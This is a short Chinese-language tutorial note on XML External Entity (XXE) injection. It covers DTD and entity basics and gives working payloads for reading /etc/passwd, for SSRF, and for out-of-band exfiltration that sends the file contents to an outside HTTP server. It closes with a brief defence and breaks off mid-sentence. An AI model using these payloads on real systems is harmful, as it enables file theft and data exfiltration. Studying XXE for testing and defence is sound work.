XXE小结
XXE(XML External Entity Injection)即XML外部实体注入。利用前提是应用程序能够解析XML,允许引用外部实体。
XML基础
XML文档结构
XML文档结构:XML声明、DTD文档类型定义(可选)、文档元素。
DTD
- 内部声明DTD
<!DOCTYPE 根元素 [元素声明]>
- 引用外部DTD
<!DOCTYPE 根元素 SYSTEM "文件名">
关键字
- DOCTYPE(DTD的声明)
- ENTITY(实体的声明)
- SYSTEM、PUBLIC(外部资源申请)
实体类别介绍
- 内部实体
<!ENTITY 实体名称 "实体的值">
- 参数实体
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY name "mark">]>
<foo>
<value>&name;</value>
</foo>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name
(参数实体)是在DTD中被引用的,而&name
(其余实体)是在xml文档中被引用的。
- 外部实体
<!ENTITY 实体名称 SYSTEM "URI">
有回显
- 文件读取
<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
- SSRF
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo (#ANY)>
<!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
无回显
利用错误信息回显数据
提交登录数据包,错误信息提示用户名admin
登录失败,admin
是我们输入的用户名,尝试在此处引入外部实体,成功读取到文件
利用带外攻击回显数据
- 远程服务器上构造
test.dtd
<!ENTITY % p1 SYSTEM "file:///etc/passwd">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://10.112.12.62:8000/BLAH?%p1;'>">
%p2;
- 提交数据包
POST /login HTTP/1.1
Host: target
Connection: close
Content-Type: text/xml
Content-Length: 99
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://remote-host/test.dtd">
<foo>&e1;</foo>
- 接收数据
防御
使用语言中推荐的禁用外部实体的方法。详见